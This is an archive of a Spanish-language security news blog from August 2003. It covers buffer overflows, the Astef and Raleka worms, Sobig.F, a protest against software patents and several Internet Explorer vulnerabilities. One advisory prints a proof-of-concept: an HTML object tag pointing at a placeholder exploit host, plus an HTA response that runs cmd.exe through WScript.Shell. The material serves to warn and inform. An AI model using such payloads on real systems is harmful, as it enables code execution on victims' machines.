Archive for Agosto, 2003

Cómo un atacante puede tomar el control de nuestros equipos

Agosto 31, 03 by admin

Ha aparecido en ibrujula un artículo, escrito por José Manuel Tella, en el cual se hace alusión a métodos de intrusión usados por atacantes de forma básica. Este es parte del texto:

"Estos días han saltado a la opinión pública una serie de errores provocados por desbordamiento de buffer (buffer overflow), los cuales permitían o bien a un atacante remoto, o bien a gusanos y virus como Blaster, por ejemplo, que usan dicha vulnerabilidad el tomar control absoluto de nuestra máquina. "Desbordamiento de buffer" es una de las frases que muchas veces asumimos sin preguntar -aunque solo sea en plan curiosidad-, que es lo significa.
En el presente articulo, escrito para neófitos en informática vamos a intentar clarificar este concepto, que es lo que realmente significa, y por qué sucede. Esto es inherente a cualquier sistema operativo, por lo que no es exclusivo de Microsoft.

Vamos a utilizar en varios puntos de este articulo la palabra "exploit". Un exploit no es nada mas que una manera, o un código, o lo que sea, de manejar una vulnerabilidad para tomar el control de una máquina, o bien para hacerla malfuncionar y provocar la caída de sus servicios.

¿CÓMO FUNCIONA UN PROGRAMA?

Un programa tiene su área de código ejecutable, y usa en memoria un espacio para almacenamiento del propio código y también para almacenamiento de los datos que vaya a utilizar. Igualmente, si el programa recibe parámetros o datos, debe guardarlos temporalmente en memoria.
Por ejemplo, imaginemos un programa servidor de paginas web. Cuando el usuario teclea en un navegador: http://www.microsoft.com/directx, el texto anotado www.microsoft.com/directx viaja como dato al servidor web de Microsoft. Dicho servido es un programa que recibe ese texto, y que tiene que almacenarlo en memoria.

Imaginemos que desde nuestro navegador, podemos teclear lo que queramos sin tener un tamaño máximo para escribir. Es decir que tecleamos http://www.microsoft.com/xx….xxxx y el texto que ponemos en las xxxxx es enorme. Pongamos que enviamos 10.000 caracteres… a ver qué pasa.

Si el programa servidor que se está ejecutando en los servidores de Microsoft, no tiene presente que pueda recibir toda esta cantidad de datos y el programador que lo ha realizado ha previsto solo una cantidad, digamos razonable de 1.000 caracteres, el propio programa al intentar guardarse esos 10.000 caracteres, está "machacando" áreas de memoria que pueden ser de contenido de otros datos (en cuyo caso se machacan) o incluso de código ejecutable del propio servidor.

En cualquier caso, hay destrucción de información que provocarán en el mejor de los casos o un malfuncionamiento, o lo mas probable una "caída" del servidor web por machacarse parte de su propio código.

Evidentemente, la solución pasaría por comprobar el tamaño tecleado antes de moverlo a zonas de memoria.

Este es un caso muy sencillo y muy simplificado, pero nos puede servir como idea de lo que sucede. Generalicemos un poco: un programa, se descompone en funciones.

Dicho programa recibe parámetros o datos, se los guardan, y se lo pasa al resto de funciones o subprogramas que lo necesiten.

El problema es cuando el propio programa o los propios subprogramas o funciones, tienen reservados tamaños inferiores de la longitud de los datos que reciben. La solución, por supuesto, es que cada programa, función, modulo, librería, DLL, etc…. no se fíe de nadie y verifique exhaustivamente todo antes de tomar ninguna acción y ni tan siquiera guardarlo en memoria.

Normalmente, los controles anteriores no se hacen excepto en entrada de datos, y es debido a que esto implica sobrecargar excesivamente de código de comprobación, y en tiempo de ejecución todos los parámetros y todas las zonas de memoria a las que accede el programa.

El problema surge, cuando muchas de las funciones diseñadas para ejecutarse internamente y que no tienen controles de los parámetros, deciden reutilizarse en otros programas de nivel superior, los cuales pueden no tener tampoco dichos controles. En este caso, y aunque su funcionamiento sea normal, pueden encontrarse situaciones en que alguien malintencionado lo descubra y decida "explotar" esta vulnerabilidad.

Es vulnerable un programa desde el momento en que somos capaces de hacerlo "cascar". Si somos capaces de ello, también seremos capaces de hacer lo que queramos: es decir de tomar control de él. Veremos un poco más adelante y de una manera sencilla, el cómo.

VIENDO UN POCO DEL DIAGRAMA DE CAPAS DE EJECUCIÓN

Continuamos con el ejemplo del servidor web anterior. Aunque nos estamos ciñendo a un servidor web, pensemos que en nuestras maquinas hay muchos pequeños micro-servidores, es decir, programas, rutinas, funciones que están a la espera que alguien los active, o a la espera de recibir datos. El ejemplo del servidor web que estamos viendo no deja de ser anecdótico, sino que además describe una vulnerabilidad real que ha existido en los servidores y que en su día (hace unos años) fue explotada con éxito por el mundo hacker.
Veamos muy por encima las capas que componen un servidor web, o mejor, veamos que sucede desde que hacemos una petición de una URL (dirección de internet) hasta que el servidor nos devuelve datos.

Primero, existe una serie de capas del tcp/ip que reciben los mensajes. Estas capas lo que hacen es pasarlo al siguiente nivel. En nuestro caso, al punto de entrada de los datos del servidor web. Éste a su vez, analiza completo el mensaje solicitado.

Pensemos que una URL pueden viajar muchas cosas: usuario / password, la máquina que lo va ejecutar, y en el contenido de la URL, la pagina, o incluso instrucciones de ejecución. Por ello, si nos fijamos nos podemos encontrar URL’s larguísimas que están enviando instrucciones al servidor.

Este a su vez, está compuesto por módulos o capas: por ejemplo, un módulo para autenticar al usuario si este fuese en el mensaje, otro, por ejemplo, para analizar el literal del mensaje y si se encuentra instrucciones que entiende cómo ejecutarlo, pasarlo al modulo ejecutivo, etc. Al final, si todo es correcto, se construye la página o se muestra directamente una página almacenada y se envía.

Pero lo importante, es que se ha llamado, pasando los datos tecleados por nosotros a un montón de programas y módulos. Si cualquiera de estos no tiene previsto un análisis detallado de la URL, o en algún caso falla al analizarlo en este sentido se provocará probablemente un desbordamiento de buffer: un machaque de áreas de memoria que llevarán al programa a caerse casi con toda probabilidad.

EL ATAQUE

Si un hacker, en algún momento, consigue en este ejemplo hacer que un servidor se caiga por enviar una URL inválida…… ya tiene todo resuelto. Si es capaz de hacer "cascar" al programa servidor, también será capaz de enviar dentro de la URL código ejecutable en unas posiciones muy determinadas de la URL. Si este "trozo" de código enviado entra en ejecución… ya tenemos el "exploit". Es decir, antes que el servidor se "caiga", habrá ejecutado un código dejado por el hacker.
Este código puede hacer cualquier cosa: si el hacker ha tenido la imaginación y ha sido capaz de realizar pruebas para encontrar un agujero que antes no se le había ocurrido a nadie, ni al programador, ni al equipo de programación, ni tan siquiera al equipo de pruebas, y que posiblemente lleve oculto años sin que haya sucedido nada, si ha tenido dicha imaginación está claro que también la tendrá ahora para saber que "código" nos va a "inyectar" en nuestra máquina. Estas inyecciones de código ya están muy estudiadas por el mundo hacker. Estudiadas, realizadas y probadas: únicamente consiste ahora en buscar la vulnerabilidad para "inyectar" el código."

El artículo completo lo podeis encontrar en http://iblnews.com/news/noticia.php3?id=85381

ASTEF: gusano de alta propagación masiva vía redes Peer to Peer e ICQ

Agosto 31, 03 by admin

Astef es un nocivo gusano de alta propagación masiva a través de las Redes con recursos compartidos Peer to Peer KaZaA, KaZaA Lite, Bearshare, eDonkey2000, Gnucleus, Grokster, Limewire, Morpheus, Overnet, Papigator, Shareaza, Tesla, WinMX, XoloX y el ICQ.
Al infectar un sistema renombra varios programas e importantes archivos del sistema operativo, luego se auto-copia con el nombre original de los archivos renombrados.

Deshabilita además dos opciones en el sistema operativo e impide visualizar archivos ocultos y del sistema.

[ . . . ]

Al ejecutar el archivo infectado, el gusano renombra los siguientes archivos:

%Windir%\calc.exe a %System%\calc.com
%Windir%\notepad.exe a %System%\notepad.com
%Windir%\sol.exe a %System%\sol.com
%Windir%\freecell.exe a %System%\freecell.com
C:\Archivos de programas\Trillian\trillian.exe a C:\Archivos de programas\Trillian\trillian.com
C:\Archivos de programas\MSN Messenger\msnmsgr.exe a C:\Archivos de programas\MSN Messenger\msnmsgr.com
C:\Archivos de programas\ICQ\icq.exe a C:\Archivos de programas\ICQ\icq.com

Luego, se auto-copia a los siguientes directorios con los nombres:

%Windir%\calc.exe
%Windir%\notepad.exe
%Windir%\sol.exe
%Windir%\freecell.exe
%Windir%\ocx32.exe
%Windir%\svchost.exe
%Windir%\windll32.exe
%Windir%\windows_critical_update.exe
%Windir%\windowsupdate.exe
C:\Archivos de programas\Trillian\trillian.exe
C:\Archivos de programas\MSN Messenger\msnmsgr.exe
C:\Archivos de programas\ICQ\icq.exe

Para activarse la próxima vez que se inicie el sistema, el gusano crea ciertas claves en el registro.

También se autocopia a diversos directorios para infectar a través de redes P2P, con distintos nombres de fichero.

Los payloads de este gusano son:

- Se propaga masivamente a través de la mayoría de redes de archivos compartidos Peer to Peer.
- También lo hace vía el ICQ.
- Renombra e infecta varios archivos ejecutables del sistema.
- Deshabilita dos opciones en el sistema operativo e impide visualizar archivos ocultos y del sistema.

Más información: http://www.perantivirus.com/sosvirus/virufamo/astef.htm

Raleka: destructivo gusano/troyano/backdoor aprovechando la vulnerabilidad de RPC/DCOM

Agosto 28, 03 by admin

Raleka es un destructivo gusano troyano/backdoor que aprovecha la vulnerabilidad del DCOM RPC (Llamada Remota de Procedimientos).
Infecta los sistemas con un archivo de nombre aleatorio, con extensión .EXE de 14.5 KB de extensión, haciendo uso de direcciones IP aleatorias a través del puerto TCP 135.

Descarga un peligroso troyano de ocultamiento de actividades, comandos, servicios, etc., y que permite insertar cualquier software backdoor de control remoto a los sistemas infectados.

Una vez ingresado al sistema el gusano se auto-ejecuta y descarga a la carpeta %System% desde la dirección IP 212.59.199.45 (http://www.arrakis.es) los siguientes archivos:

NTROOTKIT.EXE (125 KB)
NTROOTKIT.REG (245 bytes)
El NTRootkit versión 0.44 es una herramienta de software que en forma remota permite insertar backdoors en programas existentes dentro de un sistema, ocultando además las instrucciones o comandos en los equipos que son atacados por intrusos.

Este gusano además usa su propia rutina para conectarse un canal de Chat del servidor IRC (Internet Chat Relay) IRCSOULZ.NET:6667.

Asimismo el gusano sobre-escribirá el archivo SVCHOST.EXE dentro de la carpeta %System% y ejecutará un comando para descargar los archivos del NTRootkit desde otros sistemas infectados, en lugar de los de la dirección IP antes mencionada.

Con esta peligrosa herramienta, el cracker podrá insertar backdoors que le permitirán controlar remotamente servidores, redes con recursos compartidos, estaciones de trabajo y hasta PC domésticas a su entera voluntad.

El gusano infectará equipos remotos que no tengan instalado el parche para la vulnerabilidad DCOM RPC (Remote Procedure Call), conectándose al puerto TCP 135 de las direcciones IP generadas aleatoriamente desde el sistema infectado.

Finalmente, almacenará la dirección IP del equipo infectado en la carpeta %System% con el siguiente nombre de archivo:

RPCSS.INI

El parche para la vulnerabilidad DCOM RPC puede ser descargado de:

http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS03-026.asp

Los payloads de este troyano/backdoor son los siguientes:

- Ingresa a través del puerto 135 aprovechando la vulnerabilidad RPC de Microsoft.
- Descarga un troyano de ocultamiento de actividades, comandos, servicios, etc.
- Este troyano permite insertar cualquier software backdoor a los sistemas infectados.
- Captura información de la configuración del servidor y de las estaciones de trabajo.
- Hace uso de todos los privilegios del Administrador de Red.
- Envía la información al hacker a través de un canal de Chat de un servidor IRC pre-determinado.
- Puede enviar/recibir comandos a través del Chat.
- Captura teclas digitadas por el usuario.
- Roba claves de acceso.
- Controla remotamente programas de los sistemas infectados.
- Borra archivos y formatea el disco duro.
- Puede ocasionar una Negación de Servicio (Denial of Service) colapsando al sistema.

Expertos auguran que Sobig podría sacar una nueva versión para el 10 de Septiembre

Agosto 28, 03 by admin

Siguiendo la metodología y plazos usados anteriormente por el creador o creadores del virus Sobig, se han hecho diversos cálculos que podrían predecir una nueva versión de Sobig, la séptima (Sobig.G).

Esto es así porque en las versiones anteriores, cuando la versión existente empezaba a ser eliminada y perder el efecto de propagación, aparecía una nueva versión modificada que volvía a causar un fuerte impacto.

Según estas predicciones, se calcula que el actual Sobig (Sobig.F) pierda sus efectos y el factor sorpresa para el 10 de Septiembre. Todo esto son meras especulaciones, y como siempre recomendamos a todos los usuarios que mantengan la calma, y que estén al tanto de actualizaciones de sistemas operativos y antivirus.

Direcciones relacionadas:

Temen nuevos ataques masivos de virus en la Red antes del 10 de septiembre (ElMundo): http://www.elmundo.es/navegante/2003/08/27/seguridad/1061974730.html

NO a las patentes de Software

Agosto 26, 03 by admin

Nos sumamos la protesta oficial del día 27 de Agosto de 2.003 contra las patentes de Software en Europa. Por ello hoy esta será nuestra única noticia, y os informamos a continuación sobre el motivo de la protesta.

“A primeros de septiembre (probablemente el día 1) se va a votar en el plenario del Parlamento Europeo la propuesta de directiva sobre patentabilidad del software. De aprobarse (tal y como fue propuesta, o con las modificaciones fundamentalmente cosméticas que se introdujeron en la Comisión Jurídica del Parlamento Europeo), esta directiva supondrá que se introduzcan en Europa patentes de software (de programación) en condiciones muy similares a las que ya sufren los EE.UU., y que afectarán negativamente a la innovación, al desarrollo armónico del comercio electrónico, a la industria europea de software, a la comunidad del software libre, y en última instancia a los ciudadanos europeos, muy especialmente en sus facetas como consumidores y como potenciales innovadores.”

Si quieres informarte un poco sobre el problema que representan las patentes de software, echa un vistazo a ¿Por qué las patentes de software son un problema?, al informe Las patentes de software: un problema para Europa, o a esta comparecencia en el Senado español, en el sitio de ProInnova. Si quieres colaborar en esta campaña de cierre temporal de sitios, es fácil, mira la información sobre movilizaciones en la red.

Ataque masivo a los servidores de la red Emule

Agosto 25, 03 by admin

Durante el fin de semana se han producido numerosas caidas y problemas en los servidores de la red Emule.

Esto es debido a un problema de seguridad en el software servidor cliente, concretamente en versiones .p76 y anteriores, el cual puede ser aprovechado por un atacante remoto causando un desbordamiento del búfer y la caída del sistema.

En breve se lanzará la nueva versión, .p77, que solucionará este problema.

Sobig.F continua su propagación por la red

Agosto 24, 03 by admin

Sobig.F ( http://www.shellsec.net/noticias.php?num=220 ) continua expandiendose por la red, aunque poco a poco se van logrando avances para frenar su expansión.

Durante estos últimos días ha disminuido su propagación, pero recordemos que ha infectado a miles de ordenadores en el mundo, y aspira a crear una red de ordenadores controlada, una especie de redes robot, con el fin de crear ataques masivos en Internet.

Un ataque automatizado que estaba programado para el viernes al mediodía, hora del estado norteamericano de California (19:00 GMT), fue frustrado por especialistas del gobierno y el sector antes que pudiera tomar el control de unas 100.000 ordenadores infectados y posiblemente colapsar Internet. Sólo en EEUU, el gusano ya ha causado daños valorados en $50 millones.

SoBig F se ha convertido actualmente en el virus de más rápida propagación hasta la fecha.

La mejor forma de prevenir este virus es estando al tanto de nuevas actualizaciones para nuestros antivirus, así como no abrir correos sospechosos, en especial con títulos en inglés (si es que no solemos recibir mails de este tipo).

Direcciones relacionadas:

Aviso sobre Sobig.F: http://www.shellsec.net/noticias.php?num=220

El virus Sobig disminuye, pero aspira a crear una red controlada: http://iblnews.com/noticias/08/85055.html

‘Avance’ en el control del virus Sobig: http://iblnews.com/noticias/08/85044.html

Otra Vulnerabilidad en Internet Explorer Object Data

Agosto 21, 03 by admin

Problema:

eEye Digital Security ha encontrado una vulnerabilidad en Internet Explorer esto permitiria a un atacante la ejecución de codigo arbitrariamente en el sistema del usuario, si el usuario
visita una pagina web maliciosa o si abre un codigo HTML malicioso en un e-mail.

Ejemplo de como un atacante puede explotar esta vulnerabilidad:

————–Cliente HTTP request—————————
<html>

<object data="www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
————————————————————

————-Servidor HTTP Respuesta—————————
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191

<html>
<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
————————————————————

Versiones vulnerables:

Microsoft Internet Explorer 5.0.1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0

Solución:

Para solucionar esta vulnerabilidad puede instalar los siguientes fixes desde:

http://windowsupdate.microsoft.com/

http://www.microsoft.com/windows/ie/downloads/critical/822925/default.asp

Referencias

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp

http://www.eeye.com/html/Research/Advisories/AD20030820.html

Otra Vulnerabilidad en Microsoft Internet Explorer Browser Cache

Agosto 21, 03 by admin

Problema:

Se ha encontrado una vulnerabilidad en Microsoft Internet Explorer en el "cross-domain", esta vulnerabilidad da como resultado la ejecución de un script en el "My Computer zone".
Un atacante remoto para explotar esta vulnerabilidad para ello necesita un pagina web maliciosa en donde contenga el particular exploit para esta vulnerabilidad, y ademas tiene que persuadir al
usuario a que visite esa pagina. Luego que el usuario visite la pagina web maliciosa, el atacante va a poder ejecutar un script malicioso.

Versiones vulnerables:

Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0

Solución:

Para solucionar esta vulnerabilidad puede instalar los siguientes fixes desde:

http://www.microsoft.com/windows/ie/downloads/critical/822925/default.asp

http://www.microsoft.com/windows/ie/downloads/critical/822925s/default.asp+

Referencias

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp

Vulnerabilidad en Microsoft Internet Explorer

Agosto 21, 03 by admin

Problema:

Se ha encontrado una vulnerabilidad en Microsoft Internet Explorer en el archivo BR549.dll que es el "ActiveX control" ,este control posee vulnerabilidades no especificadas por el vendedor.

Versiones vulnerables:

Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0

Solución:

Para solucionar esta vulnerabilidad puede instalar los siguientes fixes desde:

http://www.microsoft.com/windows/ie/downloads/critical/822925/default.asp

http://www.microsoft.com/windows/ie/downloads/critical/822925s/default.asp

Referencias

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-032.asp

http://support.microsoft.com/default.aspx?scid=kb;en-us;822925